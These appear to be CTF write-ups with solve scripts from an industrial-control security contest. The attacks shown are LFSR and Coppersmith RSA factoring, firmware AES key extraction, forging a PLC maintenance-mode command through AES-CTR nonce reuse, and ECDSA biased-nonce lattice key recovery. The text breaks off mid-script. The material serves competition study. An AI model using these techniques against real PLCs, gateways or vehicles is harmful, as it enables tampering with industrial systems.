第十届工业信息安全技能大赛-①工控安全锦标赛

Crypto

GY10-TwinModuli

  1. 题目概览

附件给出 task.py(生成器)和 output.txt(题目参数)。

题目模拟了一个车载双 ECU(TBOX / IVI)OTA 升级场景:

  • 两个 RSA 模数 n1 = p1*q1n2 = p2*q2,其中 p2 = p1 + delta("nearby-prime twin",但 q1, q2 独立,gcd(n1,n2)=1*不是* shared-q 攻击)。
  • 诊断通道泄漏了 p1 的高 276 位,但被一个 *双 Galois LFSR 组合(OR)* 生成的 keystream 按位异或掩码了。
  • 同时给出一个已知明文的挑战密文 challenge_ct_hex,明文为 "IVI-TBOX-SYNC-OK",用同一把 keystream 加密。
  • delta_hint 是红鲱鱼(明文给出 delta,但 q 独立,无法直接因式分解)。

目标:恢复 p1, q1,计算 flag = "flag{" + md5(p1||q1)[:16] + "}"

  1. 关键参数(output.txt)
n1        = 0x891866...ce6e168021   # 1024 bit
n2        = 0x93bb9b...76cfd1bff    # 1024 bit
e         = 0x10001
c_rsa     = 0x212ed4...8fe56        # RSA 密文(flag 嵌在 OTA 帧里)
p_bits    = 512
known_p_msbs = 276                  # p1 高位泄漏 276 bit
seed_bits = 32                      # LFSR 种子 32 bit
p_high_masked_hex = "71cb8d...0078e3"
challenge_ct_hex  = "339194d6ad9f34875264a63abc539026"
challenge_plain_hint = "IVI-TBOX-SYNC-OK"
comb_tap1 = 0xa0000003
comb_tap2 = 0xc0000005
enc_nonce_hex = "c6f2985f63c5d3e9fcf1cd904d47ffcc"
ciphertext_hex = "d5715ccfc5c569510d40dd50bab715f7994056085bc4"
delta_hint = 0x57f3f8855b9a16a9523876ec   # 红鲱鱼
  1. CombGenerator 结构(task.py)
class CombGenerator:
    TAP1 = 0xA0000003
    TAP2 = 0xC0000005

    def __init__(self, seed):
        s = seed & 0xFFFFFFFF or 1
        self.s1 = s
        self.s2 = (s * 0x9E3779B1) & 0xFFFFFFFF or 1

    @staticmethod
    def _step(state, tap):
        lsb = state & 1
        state >>= 1
        if lsb:
            state ^= tap
        return state & 0xFFFFFFFF, lsb

    def next_bit(self):
        self.s1, b1 = self._step(self.s1, self.TAP1)
        self.s2, b2 = self._step(self.s2, self.TAP2)
        return b1 | b2            # ★ OR 组合,非线性

    def next_byte(self):
        v = 0
        for i in range(8):
            v |= self.next_bit() << i
        return v

关键点:

  • 两个 32-bit Galois LFSR,输出 b1 | b2(OR,非线性)。
  • *OR 的零位是线性的*b1|b2 = 0 ⟺ b1=0 且 b2=0
  • s2 = s1 * 0x9E3779B1 mod 2^32,所以 s1 一旦确定,s2 也确定。*未知量只有 32-bit 的* ***\*s1\****
  1. 解题流程

Step 1:恢复 keystream

已知明文 "IVI-TBOX-SYNC-OK"(16 字节)与 challenge_ct_hex 用同一把 keystream 异或:

pt = b"IVI-TBOX-SYNC-OK"
ct = bytes.fromhex("339194d6ad9f34875264a63abc539026")
keystream = bytes(p ^ c for p, c in zip(pt, ct))  # 16 字节 = 128 bit

得到 128 bit 的 CombGenerator 输出。其中 *0 bit 的位置* 满足 b1=0 ∧ b2=0,可构造关于 s1 的 GF(2) 线性方程。

Step 2:GF(2) 线性方程组恢复 s1

对每个零位位置 i(从 0 开始计数,对应第 i+1 次调用 next_bit),LFSR1 的输出位 b1_is1 初始状态的 GF(2) 线性函数。列出全部零位约束:

b1_i(s1) = 0   对所有 i ∈ zero_positions

用高斯消元解这个 GF(2) 上的线性方程组,得到解空间(若干自由变量)。枚举自由变量的所有取值,对每个候选 s1

  1. s2 = s1 * 0x9E3779B1 mod 2^32 推出 s2
  2. 跑 CombGenerator,验证 *所有零位*b1=0 ∧ b2=0,以及非零位处 b1|b2=1

唯一通过验证的种子:

seed = 0x38a95dbe

Step 3:解掩码得到 p_high

用恢复的种子重建 35 字节 keystream(p_high 字节数 = (276+7)//8 = 35),异或 p_high_masked_hex

gen = CombGenerator(0x38a95dbe)
mask = gen.keystream(35)
p_high_bytes = xor_bytes(bytes.fromhex(p_high_masked_hex), mask)
p_high = int.from_bytes(p_high_bytes, 'big')
p_high = 0xb0c50eedf651e7d8858287b0aaacc427d97856b79fdc9716f479c9d41cdcf974f8e94  (276 bit)

Step 4:Coppersmith 小根恢复 p1 低 236 位

已知 p1 的高 276 位,未知低 236 位:

p1 = (p_high << 236) + x0,    0 ≤ x0 < 2^236

f(x) = A + xA = p_high << 236,在模 n1 下有小根 x0,且 f(x0) | n1

*界分析*:单变量 Coppersmith(β = 0.5)要求 X < N^(β²) = N^0.25 ≈ 2^256。本题 X = 2^236 < 2^256,有 *20 bit 裕量*,理论上可行。

用 SageMath 构造 Coron/Jochemsz-May 格基:

  • 基多项式:g_j(t) = N^(m-j) * (A + X*t)^jj = 0..m
  • 辅助多项式:h_k(t) = (X*t)^k * (A + X*t)^mk = 0..t-1
  • 变量替换 x = X*t,构造格矩阵后 LLL 规约。

m = 6, t = 8(维度 15),LLL 后取短向量对应的多项式,两两做 *GCD*,提取线性因子 (t - t0),得到 x0 = X * t0

关键代码(coppersmith_correct.sage)
m, t_extra = 6, 8
dim = m + 1 + t_extra  # 15

构造格矩阵 M (dim x dim)
g_j: N^{m-j} * (A + X*t)^j  for j=0..m
h_k: (X*t)^k * (A + X*t)^m  for k=0..t_extra-1
M = build_lattice(m, t_extra)
reduced = M.LLL(delta=0.99)

取短多项式,GCD 提取线性因子
short_polys = extract_polys(reduced, dim)
for i, j in pairs:
    g = gcd(short_polys[i], short_polys[j])
    if g.degree() == 1:
        t0 = -g.constant_coefficient() / g.leading_coefficient()
        x0 = int(t0 * X)
        if N % (A + x0) == 0:
            p1 = A + x0  # FOUND!

结果:

p1 = 0xb0c50eedf651e7d8858287b0aaacc427d97856b79fdc9716f479c9d41cdcf974f8e948e87a18ca55c6eb9e3a5db83f1998089b103d04873601a285b9cb824c9d
q1 = 0xc68b021fbf9fce36e7557d1de0c9f0703b47e3c3ad7b03073dd333c6acc74c24a943c284b0d6fe7321bd4c6967cdb959bb2318b86ded1d0d1fdd98f070ca5055

验证 p1 * q1 == n1

Step 5:计算 Flag

按 task.py:

import hashlib
secret = p1.to_bytes(64, 'big') + q1.to_bytes(64, 'big')
flag = "flag{" + hashlib.md5(secret).hexdigest()[:16] + "}"
  1. 三重验证

验证 1:RSA 解密

phi = (p1-1)*(q1-1)
d = pow(e, -1, phi)
m = pow(c_rsa, d, n1)
m -> bytes:
b'OTA|LHGAV3850A2012345|flag{a163f947a3efa4c4}\x00...'

RSA 解密得到 OTA|LHGAV3850A2012345|flag{a163f947a3efa4c4}

验证 2:SHA-256 流密码解密

wrap_key = sha256(b"ifp-seal-v3" + secret)
nonce    = sha256(b"ifp-nonce-v3" + secret)[:16]
stream = sha256(wrap_key + nonce + ctr.to_bytes(4, "big"))  # ctr = 0,1,...
plaintext = xor(ciphertext, stream[:len(flag)])
b'flag{a163f947a3efa4c4}'

解密得到 flag{a163f947a3efa4c4}

验证 3:Nonce 匹配(128-bit 强校验)

nonce = sha256(b"ifp-nonce-v3" + secret)[:16]
= c6f2985f63c5d3e9fcf1cd904d47ffcc
与 output.txt 的 enc_nonce_hex 完全一致 ✅

Nonce 匹配在 128-bit 碰撞抗性下 *证明* ***\*secret = p1||q1\**** *完全正确*

  1. Flag
flag{a163f947a3efa4c4}
  1. 解题脚本索引

| 文件 | 作用 |

|||

| step1_analyze.py | 从已知明密文对恢复 keystream,分析零位结构 |

| solve_v2.py | GF(2) 线性方程组 + 零空间枚举恢复种子 0x38a95dbe,解掩码得到 p_high |

| coppersmith_correct.sage | SageMath Coppersmith(Coron/Jochemsz-May 格基 + LLL + GCD)恢复 p1 |

| launch_correct.py | 通过 Cygwin bash 启动 SageMath 运行上述 .sage 脚本 |

| final_verify_v2.py | 纯 Python 三重验证(RSA 解密 + 流密码解密 + nonce 匹配) |

  1. 思路小结
已知明文 "IVI-TBOX-SYNC-OK"
        │ XOR challenge_ct
        ▼
   16 字节 keystream
        │ 零位 → b1=0 ∧ b2=0 (线性约束)
        ▼
   GF(2) 线性方程组 + 零空间枚举
        │
        ▼
   种子 seed = 0x38a95dbe
        │ 重建 CombGenerator keystream
        ▼
   p_high (p1 高 276 bit)
        │ A = p_high << 236,  f(x) = A + x,  X = 2^236 < N^0.25
        ▼
   Coppersmith (m=6, t=8, LLL + GCD)
        │
        ▼
   p1, q1  →  secret = p1 || q1
        │
        ▼
   flag{md5(secret)[:16]} = flag{a163f947a3efa4c4}

*关键洞察*

  1. *OR 组合的零位是线性的* —— b1|b2=0 ⟺ b1=b2=0,把非线性组合退化为 GF(2) 线性方程组。
  2. ***\*s2\**** *由* ***\*s1\**** *唯一确定* —— s2 = s1 * 0x9E3779B1 mod 2^32,未知量从 64 bit 降到 32 bit。
  3. *236 < 256* —— Coppersmith 单变量界 X < N^(β²) = N^0.25 刚好满足(20 bit 裕量),m=6 即可。
  4. ***\*delta_hint\**** *是红鲱鱼* —— q1, q2 独立,gcd(n1,n2)=1,nearby-prime 不能直接因式分解。

GY10-工控网关密钥泄露

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GY10 - 工控网关密钥泄露 (Crypto, 200pt)
Solver: extract AES key from SquashFS firmware, decrypt flag.enc.

Pipeline:
  工控网关密钥泄露.rar
   ├── firmware.bin       # gzip( squashfs( config.json + hostname + app/bin/... ) )
   └── flag.enc           # AES-128-CBC, IV prepended (48 = 16 IV + 32 ct)
"""

import gzip, json, re, zlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

BASE = r"f:\Fshare\Challenges\Challenges_ToMove\工控安全锦标赛\Game_Tmp\Crypto\GY10-工控网关密钥泄露\extracted"

# ---------- 1. Decompress firmware.bin (gzip) -> firmware.squashfs ----------
with open(BASE + r"\firmware.bin", "rb") as f:
    fw_gz = f.read()
assert fw_gz[:2] == b"\x1f\x8b", "firmware.bin is not gzip"
squashfs = gzip.decompress(fw_gz)
assert squashfs[:4] == b"hsqs", "decompressed data is not SquashFS"
print(f"[+] firmware.bin -> gzip -> SquashFS ({len(squashfs)} bytes)")

# ---------- 2. Find all zlib streams inside SquashFS, decompress ----------
# SquashFS 4.0 with zlib stores inode/dir/fragment tables and file-data blocks
# as zlib (78 da) streams. config.json lives in a file-data block.
streams = []
i = 0
while True:
    idx = squashfs.find(b"\x78\xda", i)
    if idx < 0:
        break
    d = zlib.decompressobj()
    try:
        out = d.decompress(squashfs[idx:idx + 5000])
        streams.append((idx, out))
    except Exception:
        pass
    i = idx + 1

# ---------- 3. Locate config.json and extract AES key ----------
key_hex = None
for off, blob in streams:
    if b"aes_key_hex" in blob:
        print(f"[+] Found config.json at squashfs offset 0x{off:x}")
        print("-" * 60)
        print(blob.decode("utf-8", errors="replace"))
        print("-" * 60)
        # parse the JSON inside the blob
        m = re.search(rb'\{[^{}]*"mqtt"[^{}]*\{.*?\}[^{}]*"crypto"[^{}]*\{.*?\}[^{}]*\}',
                      blob, re.DOTALL)
        text = m.group(0).decode() if m else blob.decode("utf-8", errors="replace")
        cfg = json.loads(text)
        key_hex = cfg["crypto"]["aes_key_hex"]
        break

assert key_hex, "AES key not found in firmware"
key = bytes.fromhex(key_hex)
print(f"[+] Recovered AES key (hex): {key_hex}  ({len(key)} bytes -> AES-{len(key)*8})")

# ---------- 4. Decrypt flag.enc ----------
# 48 bytes = 16-byte IV (prepended) + 32-byte ciphertext (2 AES blocks)
with open(BASE + r"\flag.enc", "rb") as f:
    enc = f.read()
assert len(enc) == 48 and len(enc) % 16 == 0
iv, ct = enc[:16], enc[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
pt_padded = cipher.decrypt(ct)
try:
    pt = unpad(pt_padded, 16)   # PKCS7
except ValueError:
    pt = pt_padded

flag = pt.decode("utf-8", errors="replace")
print(f"[+] Decrypted plaintext (raw): {pt_padded!r}")
print(f"[+] FLAG: {flag}")
flag{ICS_Gateway_Crack_2026}

GY10-PLC 网关异常响应排查

*加密方案:* AES-256-CTR

  • KEY:硬编码在 protocol.py 中(32 字节)
  • nonce:hashlib.md5(device_id.encode()).digest()[:8]

*明文编码:* json.dumps(obj, separators=(",",":"), sort_keys=True) — 键按字母序排列。

  1. 密码学缺陷:AES-CTR Nonce 重用

make_nonce(device_id) 仅从 device_id 派生 nonce(MD5(device_id)[:8]),*同一设备的所有报文都使用相同的 nonce + 相同的 KEY*

在 AES-CTR 模式下,nonce 重用意味着*密钥流(keystream)完全相同*

  • 已知一个明文 → 恢复密钥流:keystream = plaintext XOR ciphertext
  • 用密钥流可解密任何同设备报文:plaintext = ciphertext XOR keystream
  • 用密钥流可伪造任意新报文:ciphertext_new = plaintext_new XOR keystream
  1. 解题步骤

步骤 1:PCAP 分析

traffic.pcap 中提取到 *8 个 ICS2 报文*,涉及 3 个设备:

  • *PLC-07*(nonce=bf0a1c4095eaafdb,5 个报文):遥测、状态查询、*失败的维护模式请求*
  • *PLC-03*(nonce=c7213a5fc7d3f025,2 个报文):遥测、状态查询
  • *PLC-12*(nonce=a08f40ff326ad02a,1 个报文):遥测

步骤 2:密钥流恢复

利用已知明文(遥测 JSON 结构可从 client.py 推断),从 PLC-07 的报文中恢复出 130 字节的密钥流:

Plain Text

1a961a5d5527dec3323d02405969fd2f...

验证:所有 PLC-07 报文的 plaintext XOR ciphertext 完全一致,*确认 nonce 重用*

步骤 3:构造伪造报文

模拟器 check_success() 要求的目标报文:

JSON

{"cmd":"maint_mode","coil":1,"dev":"PLC-07","seq":9999,"type":"control"}
  • 用恢复的密钥流 XOR 目标明文 → 得到伪造密文(*无需 KEY*
  • 用 device_id 的 nonce(bf0a1c4095eaafdb)、seq=9999 构建完整报文
  • 计算 CRC32 附加到末尾

步骤 4:发送并获取 Flag

启动 plc_simulator.py(监听 127.0.0.1:15020),发送伪造报文:

Plain Text

OK maintenance mode enabled
flag{17450ef16f8d58c7e7d3668afea0ca1d}
flag{17450ef16f8d58c7e7d3668afea0ca1d}

GY10-GhostPlatoon

注意:题目描述里提到"认证流量",但实际附件中*没有 pcap*,而是直接给出了生成器源码 task.sage 和它产出的 output.txt(包含曲线参数、3 个车辆公钥、99 条 ECDSA 签名、密文、enc_nonce)。

  1. 识别的密码学方案
  • *曲线*:secp256r1 (NIST P-256)
  • *签名*:ECDSA,私钥采用"编队多项式"派生:d_v = d0 + v·alpha + v²·beta (mod n),v=0,1,2 三辆车
  • ** nonce 偏差(核心漏洞)**:每条签名的 nonce k 高 (256−L)=148 位由 public_nonce_material(gps_time, counter, veh) 决定(公开可重构),仅低 L=108 位随机。少量 (5%) 签名是"中毒"的(完全随机 k,需过滤/绕过)。
  • *封装*:恢复 d0, alpha, beta, d3(其中 d3 = d0+3·alpha+9·beta)→ 拼成 secretAES_key = SHA256("platoon-seal-v2"||secret)nonce = SHA256("nonce"||secret)[:16],使用 SHA256-CTR 风格流密码加密 flag。

这是一个典型的 *Hidden Number Problem (HNP)* —— 带偏差 nonce 的 ECDSA。

  1. 解题步骤
  2. *重构 nonce 高位*:按 task.sage 复刻 public_nonce_material(gps_time, counter, veh),得到每条签名 k 的已知高 148 位 high·2^L
  3. *建立 HNP 方程*:由 ECDSA k ≡ s⁻¹(h + r·d_v) (mod n),记 t = r·s⁻¹u = h·s⁻¹,则 t·d_v ≡ (high·2^L − u) + low (mod n),其中 0 ≤ low < 2^L。居中后 |error| < 2^107
  4. *分车辆独立求解 HNP*:每辆车 ~33 条签名,私钥 d_v 不变。对每辆车构造 *Kannan 嵌入格*(m+2 维):
    • 前 m 行:对角线放 n·2^148(modular reduction 行 + 残差放大)
    • 第 m 行:(a_i·2^148 …, 1, 0)(d 的系数行)
    • 第 m+1 行:(b_i·2^148 …, 0, K=2²⁵⁶)(嵌入目标)

短向量形式 (-e_i·2^148, …, -d_v, K)。利用 python-flintfmpz_mat.lll()(极快,~5ms/格),LLL 后扫描末列为 ±K 的行即可读出 d_v。由于差距巨大(目标向量 ~2²⁵⁸ vs Gaussian heuristic ~2⁴⁰⁴),第一次用全部 33 条签名就成功了(中毒签名产生的较大残差被格的"过约束"特性吸收)。

  1. *恢复 alpha, beta, d3*
    • d0 = d_0d1 = d_0+alpha+betad2 = d_0+2·alpha+4·beta
    • 解 2×2 线性方程组:alpha = (4·d1 − 3·d0 − d2)·(2⁻¹) mod nbeta = (d1 − d0 − alpha) mod n
    • d3 = (d0 + 3·alpha + 9·beta) mod n
    • 用断言验证 d0+alpha+beta == d1d0+2·alpha+4·beta == d2 通过。
  2. *派生密钥并解密*:按 task.sage 完全相同的 KDF 构造 secret = d0||alpha||beta||d3(每个 32 字节大端),算出 aes_keyenc_nonce。验证派生的 enc_nonceoutput.txt 中的完全一致(自检通过)。最后调用 stream_crypt 解密密文。
  3. 恢复的 Flag

Plain Text

flag{204d453a575f94cd}

自检:脚本里同时用 md5(secret).hex()[:16] 直接算出"应为的 flag",结果与解密结果完全一致 —— flag{204d453a575f94cd},确认正确。

  1. 解题脚本

完整路径:f:\Fshare\Challenges\Challenges_ToMove\工控安全锦标赛\Game_Tmp\Crypto\GY10-GhostPlatoon\solve.py

依赖(均已在本机可用):

  • python-flint(提供 fmpz_mat.lll(),快速 LLL)
  • pycryptodome(提供 P-256 点乘用于验证 d_v·G == Q_v
  • 标准库 hashlib, json

脚本运行输出片段:

[*] Solving HNP for vehicle 0...  -> d_0 = 0xade44f8974f11db5...
[*] Solving HNP for vehicle 1...  -> d_1 = 0xe8c90e5145122e80...
[*] Solving HNP for vehicle 2...  -> d_2 = 0x1806f95b341ff63e...
[+] derived enc_nonce matches output: True
[+] decrypted: b'flag{204d453a575f94cd}'
[+] FLAG: flag{204d453a575f94cd}

solve.py

#!/usr/bin/env python
"""
Solver for GY10-GhostPlatoon CTF challenge.

Scheme: ECDSA on secp256r1 with biased nonces (Hidden Number Problem).
- 3 vehicles with private keys d_v = d0 + v*alpha + v^2*beta (mod n)
- Each signature's nonce k has its top (256-L)=148 bits determined by
  public_nonce_material(gps_time, counter, veh); only the low L=108 bits
  are random. (A few signatures are "poisoned": fully random k.)
- We solve the per-vehicle HNP via lattice (LLL on Kannan embedding).
- Recover d0, d1, d2; solve for alpha, beta, d3; derive AES key; decrypt flag.
"""

import json
import hashlib
import os
import random
from flint import fmpz_mat
from Crypto.PublicKey.ECC import EccPoint

# --- Curve constants (secp256r1) ---
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a_curve = p - 3
b_curve = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5

G = EccPoint(Gx, Gy, curve='secp256r1')

L = 108
B = 1 << L  # 2^108
SCALE = 1 << (256 - L)  # 2^148 (so residuals are scaled to ~n-sized)
K = 1 << 256  # balancing constant for embedding


def i2b(x, length=32):
    return int(x).to_bytes(length, "big")


def b2i(b):
    return int.from_bytes(b, "big")


def sha256(data: bytes) -> bytes:
    return hashlib.sha256(data).digest()


def md5(data: bytes) -> bytes:
    return hashlib.md5(data).digest()


def stream_crypt(key: bytes, iv: bytes, data: bytes) -> bytes:
    out = bytearray()
    ctr = 0
    while len(out) < len(data):
        out.extend(sha256(key + iv + ctr.to_bytes(4, "big")))
        ctr += 1
    return bytes(x ^ y for x, y in zip(data, out))


def public_nonce_material(gps_time: int, counter: int, veh: int) -> int:
    """Identical to task.sage - reconstructs the high bits of k."""
    digest = sha256(
        b"\x01\x60\x9e\x02"
        + gps_time.to_bytes(8, "big")
        + counter.to_bytes(4, "big")
        + bytes([veh & 0xFF])
    )
    high = b2i(digest) >> L
    high = high ^ ((veh * 0x9E3779B1) & ((1 << (256 - L)) - 1))
    return high


def inv_mod(a, m):
    return pow(a, -1, m)


def point_mul(d):
    Q = int(d) * G
    return (int(Q.x), int(Q.y))


def solve_vehicle(v, sigs_v, target_pub, max_attempts=40, subset_size=None):
    """Run HNP lattice attack for one vehicle's signatures."""
    prepared = []
    for sig in sigs_v:
        msg = bytes.fromhex(sig["msg_hex"])
        r = int(sig["r"], 16)
        s = int(sig["s"], 16)
        h = b2i(sha256(msg)) % n
        s_inv = inv_mod(s, n)
        t = (r * s_inv) % n   # coefficient of d_v in: k = s^-1*(h + r*d)
        u = (h * s_inv) % n   # constant part of k
        high = public_nonce_material(sig["gps_time"], sig["counter"], v)
        known_part = (high * B) % n   # high * 2^L
        # k = (known_part + low) mod n, 0 <= low < B
        # k = u + t * d_v (mod n)
        # => t * d_v + u ≡ known_part + low (mod n)
        # => t * d_v ≡ (known_part - u) + low (mod n)
        # Center: t * d_v - (known_part - u + B/2) ≡ low - B/2 (mod n), |center| < B/2
        b_i = (known_part - u) % n
        b_i_centered = (b_i + B // 2) % n
        a_i = t
        prepared.append((a_i, b_i_centered))

    rng = random.Random(0xC0FFEE ^ v)
    n_sigs = len(prepared)

    if subset_size is None:
        subset_size = min(n_sigs, 24)

    for attempt in range(max_attempts):
        if attempt == 0:
            # First try all sigs
            sub_idx = list(range(n_sigs))
        else:
            sub_idx = rng.sample(range(n_sigs), min(subset_size, n_sigs))
        sub = [prepared[i] for i in sub_idx]
        m = len(sub)
        # Build augmented matrix (Kannan embedding for CVP-as-SVP):
        # Rows 0..m-1: modular reduction rows (n*SCALE on diagonal)
        # Row m: a_i*SCALE for i<m, 1 in pos m, 0 in pos m+1   (the "d" multiplier)
        # Row m+1: b_i*SCALE for i<m, 0 in pos m, K in pos m+1 (target)
        rows = []
        for i in range(m):
            row = [0] * (m + 2)
            row[i] = n * SCALE
            rows.append(row)
        rows.append([sub[i][0] * SCALE for i in range(m)] + [1, 0])
        rows.append([sub[i][1] * SCALE for i in range(m)] + [0, K])

        M = fmpz_mat(rows)
        M_lll = M.lll()
        tbl = M_lll.table()

        for row in tbl:
            last = row[-1]
            if abs(last) == K:
                # short vector v = (-e_i*SCALE, ..., -d, K)   if last == +K
                #             v = ( e_i*SCALE, ...,  d, -K)   if last == -K
                if last > 0:
                    d_cand = (-row[-2]) % n
                else:
                    d_cand = row[-2] % n
                if d_cand == 0:
                    continue
                Q = point_mul(d_cand)
                if Q == target_pub:
                    return d_cand
    return None


def main():
    here = os.path.dirname(os.path.abspath(__file__))
    out_path = os.path.join(here, "extracted", "附件", "output.txt")
    with open(out_path) as f:
        data = json.load(f)

    pubs = [(int(v["x"], 16), int(v["y"], 16)) for v in data["vehicles"]]
    sigs = data["signatures"]
    print(f"[+] Loaded {len(sigs)} signatures, 3 vehicles")

    # Group signatures by vehicle
    sigs_by_veh = {0: [], 1: [], 2: []}
    for sig in sigs:
        sigs_by_veh[sig["veh"]].append(sig)
    for v in range(3):
        print(f"    vehicle {v}: {len(sigs_by_veh[v])} signatures; pubkey=({hex(pubs[v][0])[:18]}..., {hex(pubs[v][1])[:18]}...)")

    # Solve HNP for each vehicle
    d_v = {}
    for v in range(3):
        print(f"\n[*] Solving HNP for vehicle {v}...")
        d = solve_vehicle(v, sigs_by_veh[v], pubs[v])
        if d is None:
            print(f"[-] Failed to recover d for vehicle {v}")
            return
        print(f"[+] d_{v} = {hex(d)}")
        d_v[v] = d

    # Compute d0, alpha, beta, d3
    # privs[0] = d0
    # privs[1] = d0 + alpha + beta       => alpha + beta = d1 - d0
    # privs[2] = d0 + 2*alpha + 4*beta   => 2*alpha + 4*beta = d2 - d0
    # 2*alpha = 4*(d1 - d0) - (d2 - d0) = 4*d1 - 3*d0 - d2
    d0 = d_v[0]
    d1 = d_v[1]
    d2 = d_v[2]
    two_inv = inv_mod(2, n)
    alpha = ((4 * d1 - 3 * d0 - d2) * two_inv) % n
    beta = (d1 - d0 - alpha) % n
    d3 = (d0 + 3 * alpha + 9 * beta) % n

    # Sanity check
    assert (d0 + 1 * alpha + 1 * beta) % n == d1, "alpha/beta check failed (d1)"
    assert (d0 + 2 * alpha + 4 * beta) % n == d2, "alpha/beta check failed (d2)"
    print(f"[+] d0    = {hex(d0)}")
    print(f"[+] alpha = {hex(alpha)}")
    print(f"[+] beta  = {hex(beta)}")
    print(f"[+] d3    = {hex(d3)}")

    # Build secret and derive keys (same as task.sage)
    secret = i2b(d0) + i2b(alpha) + i2b(beta) + i2b(d3)
    flag_check = "flag{" + md5(secret).hex()[:16] + "}"
    aes_key = sha256(b"platoon-seal-v2" + secret)
    enc_nonce = sha256(b"nonce" + secret)[:16]

    ciphertext = bytes.fromhex(data["ciphertext_hex"])
    expected_nonce = bytes.fromhex(data["enc_nonce_hex"])
    print(f"[+] derived enc_nonce matches output: {enc_nonce == expected_nonce}")

    plaintext = stream_crypt(aes_key, enc_nonce, ciphertext)
    print(f"[+] decrypted: {plaintext!r}")

    try:
        flag = plaintext.decode()
        print(f"\n[+] FLAG: {flag}")
    except UnicodeDecodeError:
        print(f"[-] Decryption did not produce valid UTF-8; raw bytes: {plaintext.hex()}")

    print(f"[+] (md5-derived flag check would be: {flag_check})")


if __name__ == "__main__":
    main()
flag{204d453a575f94cd}

Misc

GY10-工控协议流量迷局

查看请求 (C->S) 数据,其中包含写入 PLC 的 ASCII 值,并检查畸形帧。

发送给 PLC 的 C->S 请求中包含了大型 Base64 数据块。提取并解码这些数据。

帧 11 解码后是一个 PNG 图像。数据似乎是分块且多层编码的。编写一个更全面的分析脚本,按 S7 偏移量正确提取数据块。

param 的长度是 14 字节

数据块在相同的偏移量处重叠,且编码层各不相同。第 11 帧解码后是一个 PNG 文件头。让我专注于这 4 个三层数据块(7、9、11、13),并尝试对它们进行排序以构成一个有效的 PNG 文件。

顺序 11, 9, 7, 13 生成了一个有效的 PNG 文件,其 IDAT 可解压为 209352 字节 = 264×264 RGB 图像。IHDR 的高度被篡改为 0。修复它并重建图像。

这是一个二维码

import subprocess
import base64
import struct
import zlib

result = subprocess.run(
    ['tshark', '-r', 'plc_maintenance.pcapng', '-Y', 'ip.src==192.168.1.100 && tcp.dstport==102',
     '-T', 'fields', '-e', 'frame.number', '-e', 'tcp.payload'],
    capture_output=True, text=True
)

def parse_value(payload):
    if len(payload) < 17 or payload[4]!=0x02 or payload[7]!=0x32 or payload[8]!=0x01:
        return None
    param_len = payload[13]*256+payload[14]
    data_len = payload[15]*256+payload[16]
    param = payload[17:17+param_len]
    data = payload[17+param_len:17+param_len+data_len]
    if len(param)<4 or param[0]!=0x05 or len(param)<14:
        return None
    if len(data)<4:
        return None
    d_len = data[2]*256+data[3]
    value = data[4:4+d_len]
    return value

vals = {}
for line in result.stdout.strip().split('\n'):
    if not line: continue
    parts = line.split('\t')
    if len(parts)<2 or not parts[1]: continue
    fn = int(parts[0])
    payload = bytes.fromhex(parts[1].replace(':',''))
    v = parse_value(payload)
    if v is None or len(v) < 50: continue
    vals[fn] = v

def full_decode(val):
    cur = val.decode('ascii')
    for _ in range(6):
        try:
            pad = cur+'='*((4-len(cur)%4)%4)
            d = base64.b64decode(pad)
        except Exception:
            return cur.encode() if isinstance(cur,str) else cur
        if all(32<=b<127 for b in d):
            cur = d.decode('ascii')
        else:
            return d
    return cur.encode()

# Order: 11, 9, 7, 13
order = [11, 9, 7, 13]
concat = b''
for fn in order:
    concat += full_decode(vals[fn])

print(f"Concat length: {len(concat)}")
print(f"First 8: {concat[:8].hex()}")

# Parse PNG chunks
pos = 8  # after signature
chunks = []
while pos < len(concat) - 8:
    clen = struct.unpack('>I', concat[pos:pos+4])[0]
    ctype = concat[pos+4:pos+8]
    cdata = concat[pos+8:pos+8+clen]
    crc_stored = struct.unpack('>I', concat[pos+8+clen:pos+12+clen])[0]
    crc_calc = zlib.crc32(ctype+cdata) & 0xffffffff
    chunks.append((ctype, cdata, crc_stored, crc_calc))
    print(f"chunk {ctype} len={clen} crc_stored={crc_stored:08x} crc_calc={crc_calc:08x} {'OK' if crc_stored==crc_calc else 'BAD'}")
    pos = pos + 12 + clen
    if ctype == b'IEND':
        break

# Reconstruct PNG with fixed IHDR height = 264
ihdr_type, ihdr_data, _, _ = chunks[0]
print(f"\nOriginal IHDR data: {ihdr_data.hex()}")
w, h, bd, ct, comp, filt, interlace = struct.unpack('>IIBBBBB', ihdr_data)
print(f"width={w} height={h} bitdepth={bd} colortype={ct}")

# Fix height to 264 (since IDAT decompresses to 264 rows)
new_h = 264
new_ihdr_data = struct.pack('>IIBBBBB', w, new_h, bd, ct, comp, filt, interlace)
new_ihdr_crc = zlib.crc32(b'IHDR' + new_ihdr_data) & 0xffffffff
print(f"New IHDR data: {new_ihdr_data.hex()}, new CRC: {new_ihdr_crc:08x}")

# Build PNG
png = b'\x89PNG\r\n\x1a\n'
# IHDR
png += struct.pack('>I', 13) + b'IHDR' + new_ihdr_data + struct.pack('>I', new_ihdr_crc)
# Other chunks (IDAT, IEND) - keep as-is
for ctype, cdata, crc_stored, crc_calc in chunks[1:]:
    crc = crc_stored if crc_stored == crc_calc else crc_calc
    png += struct.pack('>I', len(cdata)) + ctype + cdata + struct.pack('>I', crc)

with open('flag.png', 'wb') as f:
    f.write(png)
print(f"\nSaved flag.png ({len(png)} bytes)")

# Verify by decompressing IDAT
for ctype, cdata, _, _ in chunks:
    if ctype == b'IDAT':
        raw = zlib.decompress(cdata)
        print(f"IDAT decompressed: {len(raw)} bytes = {len(raw)//(w*3+1)} rows x {w*3+1} bytes/row")
        # Render to a PPM for inspection / also use PIL if available
        try:
            from PIL import Image
            img = Image.frombytes('RGB', (w, new_h), raw)  # raw includes filter bytes - need to handle
        except ImportError:
            print("PIL not available")

# Also unfilter manually and save as PPM
# PNG filtering: each scanline starts with a filter byte
stride = w * 3 + 1
nrows = len(raw) // stride
